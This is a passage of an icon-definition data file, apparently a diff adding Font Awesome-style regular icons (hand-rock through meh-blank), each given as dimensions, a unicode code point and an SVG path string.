16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z"], + "hand-rock": [512, 512, [], "f255", "M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z"], + "hand-scissors": [512, 512, [], "f257", "M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z"], + "hand-spock": [512, 512, [], "f259", "M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z"], + "handshake": [640, 512, [], "f2b5", "M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z"], + "hdd": [576, 512, [], "f0a0", "M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z"], + "heart": [512, 512, [], "f004", "M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z"], + "hospital": [448, 512, [], "f0f8", "M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z"], + "hourglass": [384, 512, [], "f254", "M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z"], + "id-badge": [384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"], + "id-card": [576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"], + "image": [512, 512, [], "f03e", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z"], + "images": [576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z"], + "keyboard": [576, 512, [], "f11c", "M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z"], + "kiss": [496, 512, [], "f596", "M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "kiss-beam": [496, 512, [], "f597", "M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z"], + "kiss-wink-heart": [504, 512, [], "f598", "M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z"], + "laugh": [496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "laugh-beam": [496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "laugh-squint": [496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "laugh-wink": [496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "lemon": [512, 512, [], "f094", "M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z"], + "life-ring": [512, 512, [], "f1cd", "M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z"], + "lightbulb": [352, 512, [], "f0eb", "M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z"], + "list-alt": [512, 512, [], "f022", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z"], + "map": [576, 512, [], "f279", "M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z"], + "meh": [496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z"], + "meh-blank": [496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 